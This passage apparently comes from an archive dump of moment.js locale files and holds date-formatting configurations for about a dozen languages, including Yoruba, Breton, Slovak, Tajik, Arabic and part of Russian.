sameElse: 'L' }, relativeTime: { future: '%s મા', past: '%s પેહલા', s: 'અમુક પળો', ss: '%d સેકંડ', m: 'એક મિનિટ', mm: '%d મિનિટ', h: 'એક કલાક', hh: '%d કલાક', d: 'એક દિવસ', dd: '%d દિવસ', M: 'એક મહિનો', MM: '%d મહિનો', y: 'એક વર્ષ', yy: '%d વર્ષ' }, preparse: function (string) { return string.replace(/[૧૨૩૪૫૬૭૮૯૦]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, // Gujarati notation for meridiems are quite fuzzy in practice. While there exists // a rigid notion of a 'Pahar' it is not used as rigidly in modern Gujarati. meridiemParse: /રાત|બપોર|સવાર|સાંજ/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'રાત') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'સવાર') { return hour; } else if (meridiem === 'બપોર') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'સાંજ') { return hour + 12; } }, meridiem: function (hour, minute, isLower) { if (hour < 4) { return 'રાત'; } else if (hour < 10) { return 'સવાર'; } else if (hour < 17) { return 'બપોર'; } else if (hour < 20) { return 'સાંજ'; } else { return 'રાત'; } }, week: { dow: 0, // Sunday is the first day of the week. doy: 6 // The week that contains Jan 1st is the first week of the year. } }); locale/yo.js000064400000003646151677412300007007 0ustar00//! moment.js locale configuration //! locale : Yoruba Nigeria [yo] //! author : Atolagbe Abisoye : https://github.com/andela-batolagbe import moment from '../moment'; export default moment.defineLocale('yo', { months : 'Sẹ́rẹ́_Èrèlè_Ẹrẹ̀nà_Ìgbé_Èbibi_Òkùdu_Agẹmo_Ògún_Owewe_Ọ̀wàrà_Bélú_Ọ̀pẹ̀̀'.split('_'), monthsShort : 'Sẹ́r_Èrl_Ẹrn_Ìgb_Èbi_Òkù_Agẹ_Ògú_Owe_Ọ̀wà_Bél_Ọ̀pẹ̀̀'.split('_'), weekdays : 'Àìkú_Ajé_Ìsẹ́gun_Ọjọ́rú_Ọjọ́bọ_Ẹtì_Àbámẹ́ta'.split('_'), weekdaysShort : 'Àìk_Ajé_Ìsẹ́_Ọjr_Ọjb_Ẹtì_Àbá'.split('_'), weekdaysMin : 'Àì_Aj_Ìs_Ọr_Ọb_Ẹt_Àb'.split('_'), longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendar : { sameDay : '[Ònì ni] LT', nextDay : '[Ọ̀la ni] LT', nextWeek : 'dddd [Ọsẹ̀ tón\'bọ] [ni] LT', lastDay : '[Àna ni] LT', lastWeek : 'dddd [Ọsẹ̀ tólọ́] [ni] LT', sameElse : 'L' }, relativeTime : { future : 'ní %s', past : '%s kọjá', s : 'ìsẹjú aayá die', ss :'aayá %d', m : 'ìsẹjú kan', mm : 'ìsẹjú %d', h : 'wákati kan', hh : 'wákati %d', d : 'ọjọ́ kan', dd : 'ọjọ́ %d', M : 'osù kan', MM : 'osù %d', y : 'ọdún kan', yy : 'ọdún %d' }, dayOfMonthOrdinalParse : /ọjọ́\s\d{1,2}/, ordinal : 'ọjọ́ %d', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/br.js000064400000005610151677412300006754 0ustar00//! moment.js locale configuration //! locale : Breton [br] //! author : Jean-Baptiste Le Duigou : https://github.com/jbleduigou import moment from '../moment'; function relativeTimeWithMutation(number, withoutSuffix, key) { var format = { 'mm': 'munutenn', 'MM': 'miz', 'dd': 'devezh' }; return number + ' ' + mutation(format[key], number); } function specialMutationForYears(number) { switch (lastNumber(number)) { case 1: case 3: case 4: case 5: case 9: return number + ' bloaz'; default: return number + ' vloaz'; } } function lastNumber(number) { if (number > 9) { return lastNumber(number % 10); } return number; } function mutation(text, number) { if (number === 2) { return softMutation(text); } return text; } function softMutation(text) { var mutationTable = { 'm': 'v', 'b': 'v', 'd': 'z' }; if (mutationTable[text.charAt(0)] === undefined) { return text; } return mutationTable[text.charAt(0)] + text.substring(1); } export default moment.defineLocale('br', { months : 'Genver_C\'hwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu'.split('_'), monthsShort : 'Gen_C\'hwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker'.split('_'), weekdays : 'Sul_Lun_Meurzh_Merc\'her_Yaou_Gwener_Sadorn'.split('_'), weekdaysShort : 'Sul_Lun_Meu_Mer_Yao_Gwe_Sad'.split('_'), weekdaysMin : 'Su_Lu_Me_Mer_Ya_Gw_Sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'h[e]mm A', LTS : 'h[e]mm:ss A', L : 'DD/MM/YYYY', LL : 'D [a viz] MMMM YYYY', LLL : 'D [a viz] MMMM YYYY h[e]mm A', LLLL : 'dddd, D [a viz] MMMM YYYY h[e]mm A' }, calendar : { sameDay : '[Hiziv da] LT', nextDay : '[Warc\'hoazh da] LT', nextWeek : 'dddd [da] LT', lastDay : '[Dec\'h da] LT', lastWeek : 'dddd [paset da] LT', sameElse : 'L' }, relativeTime : { future : 'a-benn %s', past : '%s \'zo', s : 'un nebeud segondennoù', ss : '%d eilenn', m : 'ur vunutenn', mm : relativeTimeWithMutation, h : 'un eur', hh : '%d eur', d : 'un devezh', dd : relativeTimeWithMutation, M : 'ur miz', MM : relativeTimeWithMutation, y : 'ur bloaz', yy : specialMutationForYears }, dayOfMonthOrdinalParse: /\d{1,2}(añ|vet)/, ordinal : function (number) { var output = (number === 1) ? 'añ' : 'vet'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/sk.js000064400000012520151677412300006764 0ustar00//! moment.js locale configuration //! locale : Slovak [sk] //! author : Martin Minka : https://github.com/k2s //! based on work of petrbela : https://github.com/petrbela import moment from '../moment'; var months = 'január_február_marec_apríl_máj_jún_júl_august_september_október_november_december'.split('_'), monthsShort = 'jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec'.split('_'); function plural(n) { return (n > 1) && (n < 5); } function translate(number, withoutSuffix, key, isFuture) { var result = number + ' '; switch (key) { case 's': // a few seconds / in a few seconds / a few seconds ago return (withoutSuffix || isFuture) ? 'pár sekúnd' : 'pár sekundami'; case 'ss': // 9 seconds / in 9 seconds / 9 seconds ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'sekundy' : 'sekúnd'); } else { return result + 'sekundami'; } break; case 'm': // a minute / in a minute / a minute ago return withoutSuffix ? 'minúta' : (isFuture ? 'minútu' : 'minútou'); case 'mm': // 9 minutes / in 9 minutes / 9 minutes ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'minúty' : 'minút'); } else { return result + 'minútami'; } break; case 'h': // an hour / in an hour / an hour ago return withoutSuffix ? 'hodina' : (isFuture ? 'hodinu' : 'hodinou'); case 'hh': // 9 hours / in 9 hours / 9 hours ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'hodiny' : 'hodín'); } else { return result + 'hodinami'; } break; case 'd': // a day / in a day / a day ago return (withoutSuffix || isFuture) ? 'deň' : 'dňom'; case 'dd': // 9 days / in 9 days / 9 days ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'dni' : 'dní'); } else { return result + 'dňami'; } break; case 'M': // a month / in a month / a month ago return (withoutSuffix || isFuture) ? 'mesiac' : 'mesiacom'; case 'MM': // 9 months / in 9 months / 9 months ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'mesiace' : 'mesiacov'); } else { return result + 'mesiacmi'; } break; case 'y': // a year / in a year / a year ago return (withoutSuffix || isFuture) ? 'rok' : 'rokom'; case 'yy': // 9 years / in 9 years / 9 years ago if (withoutSuffix || isFuture) { return result + (plural(number) ? 'roky' : 'rokov'); } else { return result + 'rokmi'; } break; } } export default moment.defineLocale('sk', { months : months, monthsShort : monthsShort, weekdays : 'nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota'.split('_'), weekdaysShort : 'ne_po_ut_st_št_pi_so'.split('_'), weekdaysMin : 'ne_po_ut_st_št_pi_so'.split('_'), longDateFormat : { LT: 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd D. MMMM YYYY H:mm' }, calendar : { sameDay: '[dnes o] LT', nextDay: '[zajtra o] LT', nextWeek: function () { switch (this.day()) { case 0: return '[v nedeľu o] LT'; case 1: case 2: return '[v] dddd [o] LT'; case 3: return '[v stredu o] LT'; case 4: return '[vo štvrtok o] LT'; case 5: return '[v piatok o] LT'; case 6: return '[v sobotu o] LT'; } }, lastDay: '[včera o] LT', lastWeek: function () { switch (this.day()) { case 0: return '[minulú nedeľu o] LT'; case 1: case 2: return '[minulý] dddd [o] LT'; case 3: return '[minulú stredu o] LT'; case 4: case 5: return '[minulý] dddd [o] LT'; case 6: return '[minulú sobotu o] LT'; } }, sameElse: 'L' }, relativeTime : { future : 'za %s', past : 'pred %s', s : translate, ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/tzl.js000064400000006231151677412300007162 0ustar00//! moment.js locale configuration //! locale : Talossan [tzl] //! author : Robin van der Vliet : https://github.com/robin0van0der0v //! author : Iustì Canun import moment from '../moment'; // After the year there should be a slash and the amount of years since December 26, 1979 in Roman numerals. // This is currently too difficult (maybe even impossible) to add. export default moment.defineLocale('tzl', { months : 'Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar'.split('_'), monthsShort : 'Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec'.split('_'), weekdays : 'Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi'.split('_'), weekdaysShort : 'Súl_Lún_Mai_Már_Xhú_Vié_Sát'.split('_'), weekdaysMin : 'Sú_Lú_Ma_Má_Xh_Vi_Sá'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD.MM.YYYY', LL : 'D. MMMM [dallas] YYYY', LLL : 'D. MMMM [dallas] YYYY HH.mm', LLLL : 'dddd, [li] D. MMMM [dallas] YYYY HH.mm' }, meridiemParse: /d\'o|d\'a/i, isPM : function (input) { return 'd\'o' === input.toLowerCase(); }, meridiem : function (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'd\'o' : 'D\'O'; } else { return isLower ? 'd\'a' : 'D\'A'; } }, calendar : { sameDay : '[oxhi à] LT', nextDay : '[demà à] LT', nextWeek : 'dddd [à] LT', lastDay : '[ieiri à] LT', lastWeek : '[sür el] dddd [lasteu à] LT', sameElse : 'L' }, relativeTime : { future : 'osprei %s', past : 'ja%s', s : processRelativeTime, ss : processRelativeTime, m : processRelativeTime, mm : processRelativeTime, h : processRelativeTime, hh : processRelativeTime, d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 's': ['viensas secunds', '\'iensas secunds'], 'ss': [number + ' secunds', '' + number + ' secunds'], 'm': ['\'n míut', '\'iens míut'], 'mm': [number + ' míuts', '' + number + ' míuts'], 'h': ['\'n þora', '\'iensa þora'], 'hh': [number + ' þoras', '' + number + ' þoras'], 'd': ['\'n ziua', '\'iensa ziua'], 'dd': [number + ' ziuas', '' + number + ' ziuas'], 'M': ['\'n mes', '\'iens mes'], 'MM': [number + ' mesen', '' + number + ' mesen'], 'y': ['\'n ar', '\'iens ar'], 'yy': [number + ' ars', '' + number + ' ars'] }; return isFuture ? format[key][0] : (withoutSuffix ? format[key][0] : format[key][1]); } locale/sq.js000064400000004012151677412300006767 0ustar00//! moment.js locale configuration //! locale : Albanian [sq] //! author : Flakërim Ismani : https://github.com/flakerimi //! author : Menelion Elensúle : https://github.com/Oire //! author : Oerd Cukalla : https://github.com/oerd import moment from '../moment'; export default moment.defineLocale('sq', { months : 'Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor'.split('_'), monthsShort : 'Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj'.split('_'), weekdays : 'E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë'.split('_'), weekdaysShort : 'Die_Hën_Mar_Mër_Enj_Pre_Sht'.split('_'), weekdaysMin : 'D_H_Ma_Më_E_P_Sh'.split('_'), weekdaysParseExact : true, meridiemParse: /PD|MD/, isPM: function (input) { return input.charAt(0) === 'M'; }, meridiem : function (hours, minutes, isLower) { return hours < 12 ? 'PD' : 'MD'; }, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Sot në] LT', nextDay : '[Nesër në] LT', nextWeek : 'dddd [në] LT', lastDay : '[Dje në] LT', lastWeek : 'dddd [e kaluar në] LT', sameElse : 'L' }, relativeTime : { future : 'në %s', past : '%s më parë', s : 'disa sekonda', ss : '%d sekonda', m : 'një minutë', mm : '%d minuta', h : 'një orë', hh : '%d orë', d : 'një ditë', dd : '%d ditë', M : 'një muaj', MM : '%d muaj', y : 'një vit', yy : '%d vite' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/da.js000064400000003244151677412300006736 0ustar00//! moment.js locale configuration //! locale : Danish [da] //! author : Ulrik Nielsen : https://github.com/mrbase import moment from '../moment'; export default moment.defineLocale('da', { months : 'januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december'.split('_'), monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec'.split('_'), weekdays : 'søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag'.split('_'), weekdaysShort : 'søn_man_tir_ons_tor_fre_lør'.split('_'), weekdaysMin : 'sø_ma_ti_on_to_fr_lø'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY HH:mm', LLLL : 'dddd [d.] D. MMMM YYYY [kl.] HH:mm' }, calendar : { sameDay : '[i dag kl.] LT', nextDay : '[i morgen kl.] LT', nextWeek : 'på dddd [kl.] LT', lastDay : '[i går kl.] LT', lastWeek : '[i] dddd[s kl.] LT', sameElse : 'L' }, relativeTime : { future : 'om %s', past : '%s siden', s : 'få sekunder', ss : '%d sekunder', m : 'et minut', mm : '%d minutter', h : 'en time', hh : '%d timer', d : 'en dag', dd : '%d dage', M : 'en måned', MM : '%d måneder', y : 'et år', yy : '%d år' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/zh-hk.js000064400000006145151677412300007376 0ustar00//! moment.js locale configuration //! locale : Chinese (Hong Kong) [zh-hk] //! author : Ben : https://github.com/ben-lin //! author : Chris Lam : https://github.com/hehachris //! author : Konstantin : https://github.com/skfd import moment from '../moment'; export default moment.defineLocale('zh-hk', { months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'), monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'), weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'), weekdaysShort : '週日_週一_週二_週三_週四_週五_週六'.split('_'), weekdaysMin : '日_一_二_三_四_五_六'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY/MM/DD', LL : 'YYYY年M月D日', LLL : 'YYYY年M月D日 HH:mm', LLLL : 'YYYY年M月D日dddd HH:mm', l : 'YYYY/M/D', ll : 'YYYY年M月D日', lll : 'YYYY年M月D日 HH:mm', llll : 'YYYY年M月D日dddd HH:mm' }, meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === '凌晨' || meridiem === '早上' || meridiem === '上午') { return hour; } else if (meridiem === '中午') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === '下午' || meridiem === '晚上') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { var hm = hour * 100 + minute; if (hm < 600) { return '凌晨'; } else if (hm < 900) { return '早上'; } else if (hm < 1130) { return '上午'; } else if (hm < 1230) { return '中午'; } else if (hm < 1800) { return '下午'; } else { return '晚上'; } }, calendar : { sameDay : '[今天]LT', nextDay : '[明天]LT', nextWeek : '[下]ddddLT', lastDay : '[昨天]LT', lastWeek : '[上]ddddLT', sameElse : 'L' }, dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, ordinal : function (number, period) { switch (period) { case 'd' : case 'D' : case 'DDD' : return number + '日'; case 'M' : return number + '月'; case 'w' : case 'W' : return number + '週'; default : return number; } }, relativeTime : { future : '%s內', past : '%s前', s : '幾秒', ss : '%d 秒', m : '1 分鐘', mm : '%d 分鐘', h : '1 小時', hh : '%d 小時', d : '1 天', dd : '%d 天', M : '1 個月', MM : '%d 個月', y : '1 年', yy : '%d 年' } }); locale/jv.js000064400000004657151677412300007002 0ustar00//! moment.js locale configuration //! locale : Javanese [jv] //! author : Rony Lantip : https://github.com/lantip //! reference: http://jv.wikipedia.org/wiki/Basa_Jawa import moment from '../moment'; export default moment.defineLocale('jv', { months : 'Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des'.split('_'), weekdays : 'Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu'.split('_'), weekdaysShort : 'Min_Sen_Sel_Reb_Kem_Jem_Sep'.split('_'), weekdaysMin : 'Mg_Sn_Sl_Rb_Km_Jm_Sp'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY [pukul] HH.mm', LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm' }, meridiemParse: /enjing|siyang|sonten|ndalu/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'enjing') { return hour; } else if (meridiem === 'siyang') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'sonten' || meridiem === 'ndalu') { return hour + 12; } }, meridiem : function (hours, minutes, isLower) { if (hours < 11) { return 'enjing'; } else if (hours < 15) { return 'siyang'; } else if (hours < 19) { return 'sonten'; } else { return 'ndalu'; } }, calendar : { sameDay : '[Dinten puniko pukul] LT', nextDay : '[Mbenjang pukul] LT', nextWeek : 'dddd [pukul] LT', lastDay : '[Kala wingi pukul] LT', lastWeek : 'dddd [kepengker pukul] LT', sameElse : 'L' }, relativeTime : { future : 'wonten ing %s', past : '%s ingkang kepengker', s : 'sawetawis detik', ss : '%d detik', m : 'setunggal menit', mm : '%d menit', h : 'setunggal jam', hh : '%d jam', d : 'sedinten', dd : '%d dinten', M : 'sewulan', MM : '%d wulan', y : 'setaun', yy : '%d taun' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/ml.js000064400000006352151677412300006765 0ustar00//! moment.js locale configuration //! locale : Malayalam [ml] //! author : Floyd Pink : https://github.com/floydpink import moment from '../moment'; export default moment.defineLocale('ml', { months : 'ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ'.split('_'), monthsShort : 'ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.'.split('_'), monthsParseExact : true, weekdays : 'ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച'.split('_'), weekdaysShort : 'ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി'.split('_'), weekdaysMin : 'ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ'.split('_'), longDateFormat : { LT : 'A h:mm -നു', LTS : 'A h:mm:ss -നു', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm -നു', LLLL : 'dddd, D MMMM YYYY, A h:mm -നു' }, calendar : { sameDay : '[ഇന്ന്] LT', nextDay : '[നാളെ] LT', nextWeek : 'dddd, LT', lastDay : '[ഇന്നലെ] LT', lastWeek : '[കഴിഞ്ഞ] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s കഴിഞ്ഞ്', past : '%s മുൻപ്', s : 'അൽപ നിമിഷങ്ങൾ', ss : '%d സെക്കൻഡ്', m : 'ഒരു മിനിറ്റ്', mm : '%d മിനിറ്റ്', h : 'ഒരു മണിക്കൂർ', hh : '%d മണിക്കൂർ', d : 'ഒരു ദിവസം', dd : '%d ദിവസം', M : 'ഒരു മാസം', MM : '%d മാസം', y : 'ഒരു വർഷം', yy : '%d വർഷം' }, meridiemParse: /രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if ((meridiem === 'രാത്രി' && hour >= 4) || meridiem === 'ഉച്ച കഴിഞ്ഞ്' || meridiem === 'വൈകുന്നേരം') { return hour + 12; } else { return hour; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'രാത്രി'; } else if (hour < 12) { return 'രാവിലെ'; } else if (hour < 17) { return 'ഉച്ച കഴിഞ്ഞ്'; } else if (hour < 20) { return 'വൈകുന്നേരം'; } else { return 'രാത്രി'; } } }); locale/tg.js000064400000006573151677412300006774 0ustar00//! moment.js locale configuration //! locale : Tajik [tg] //! author : Orif N. Jr. : https://github.com/orif-jr import moment from '../moment'; var suffixes = { 0: '-ум', 1: '-ум', 2: '-юм', 3: '-юм', 4: '-ум', 5: '-ум', 6: '-ум', 7: '-ум', 8: '-ум', 9: '-ум', 10: '-ум', 12: '-ум', 13: '-ум', 20: '-ум', 30: '-юм', 40: '-ум', 50: '-ум', 60: '-ум', 70: '-ум', 80: '-ум', 90: '-ум', 100: '-ум' }; export default moment.defineLocale('tg', { months : 'январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр'.split('_'), monthsShort : 'янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек'.split('_'), weekdays : 'якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе'.split('_'), weekdaysShort : 'яшб_дшб_сшб_чшб_пшб_ҷум_шнб'.split('_'), weekdaysMin : 'яш_дш_сш_чш_пш_ҷм_шб'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Имрӯз соати] LT', nextDay : '[Пагоҳ соати] LT', lastDay : '[Дирӯз соати] LT', nextWeek : 'dddd[и] [ҳафтаи оянда соати] LT', lastWeek : 'dddd[и] [ҳафтаи гузашта соати] LT', sameElse : 'L' }, relativeTime : { future : 'баъди %s', past : '%s пеш', s : 'якчанд сония', m : 'як дақиқа', mm : '%d дақиқа', h : 'як соат', hh : '%d соат', d : 'як рӯз', dd : '%d рӯз', M : 'як моҳ', MM : '%d моҳ', y : 'як сол', yy : '%d сол' }, meridiemParse: /шаб|субҳ|рӯз|бегоҳ/, meridiemHour: function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'шаб') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'субҳ') { return hour; } else if (meridiem === 'рӯз') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'бегоҳ') { return hour + 12; } }, meridiem: function (hour, minute, isLower) { if (hour < 4) { return 'шаб'; } else if (hour < 11) { return 'субҳ'; } else if (hour < 16) { return 'рӯз'; } else if (hour < 19) { return 'бегоҳ'; } else { return 'шаб'; } }, dayOfMonthOrdinalParse: /\d{1,2}-(ум|юм)/, ordinal: function (number) { var a = number % 10, b = number >= 100 ? 100 : null; return number + (suffixes[number] || suffixes[a] || suffixes[b]); }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1th is the first week of the year. } }); locale/ar-sa.js000064400000005647151677412300007366 0ustar00//! moment.js locale configuration //! locale : Arabic (Saudi Arabia) [ar-sa] //! author : Suhail Alkowaileet : https://github.com/xsoh import moment from '../moment'; var symbolMap = { '1': '١', '2': '٢', '3': '٣', '4': '٤', '5': '٥', '6': '٦', '7': '٧', '8': '٨', '9': '٩', '0': '٠' }, numberMap = { '١': '1', '٢': '2', '٣': '3', '٤': '4', '٥': '5', '٦': '6', '٧': '7', '٨': '8', '٩': '9', '٠': '0' }; export default moment.defineLocale('ar-sa', { months : 'يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), monthsShort : 'يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر'.split('_'), weekdays : 'الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, meridiemParse: /ص|م/, isPM : function (input) { return 'م' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ص'; } else { return 'م'; } }, calendar : { sameDay: '[اليوم على الساعة] LT', nextDay: '[غدا على الساعة] LT', nextWeek: 'dddd [على الساعة] LT', lastDay: '[أمس على الساعة] LT', lastWeek: 'dddd [على الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'في %s', past : 'منذ %s', s : 'ثوان', ss : '%d ثانية', m : 'دقيقة', mm : '%d دقائق', h : 'ساعة', hh : '%d ساعات', d : 'يوم', dd : '%d أيام', M : 'شهر', MM : '%d أشهر', y : 'سنة', yy : '%d سنوات' }, preparse: function (string) { return string.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (match) { return numberMap[match]; }).replace(/،/g, ','); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }).replace(/,/g, '،'); }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/ru.js000064400000020027151677412300006776 0ustar00//! moment.js locale configuration //! locale : Russian [ru] //! author : Viktorminator : https://github.com/Viktorminator //! Author : Menelion Elensúle : https://github.com/Oire //! author : Коренберг Марк : https://github.com/socketpair import moment from '../moment'; function plural(word, num) { var forms = word.split('_'); return num % 10 === 1 && num % 100 !== 11 ? forms[0] : (num % 10 >= 2 && num % 10 <= 4 && (num % 100 < 10 || num % 100 >= 20) ? forms[1] : forms[2]); } function relativeTimeWithPlural(number, withoutSuffix, key) { var format = { 'ss': withoutSuffix ? 'секунда_секунды_секунд' : 'секунду_секунды_секунд', 'mm': withoutSuffix ? 'минута_минуты_минут' : 'минуту_минуты_минут', 'hh': 'час_часа_часов', 'dd': 'день_дня_дней', 'MM': 'месяц_месяца_месяцев', 'yy': 'год_года_лет' }; if (key === 'm') { return withoutSuffix ? 'минута' : 'минуту'; } else { return number + ' ' + plural(format[key], +number); } } var monthsParse = [/^янв/i, /^фев/i, /^мар/i, /^апр/i, /^ма[йя]/i, /^июн/i, /^июл/i, /^авг/i, /^сен/i, /^окт/i, /^ноя/i, /^дек/i]; // http://new.gramota.ru/spravka/rules/139-prop : § 103 // Сокращения месяцев: http://new.gramota.ru/spravka/buro/search-answer?s=242637 // CLDR data: http://www.unicode.org/cldr/charts/28/summary/ru.html#1753 export default moment.defineLocale('ru', { months : { format: 'января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря'.split('_'), standalone: 'январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь'.split('_') }, monthsShort : { // по CLDR именно "июл." и "июн.", но какой смысл менять букву на точку ? format: 'янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.'.split('_'), standalone: 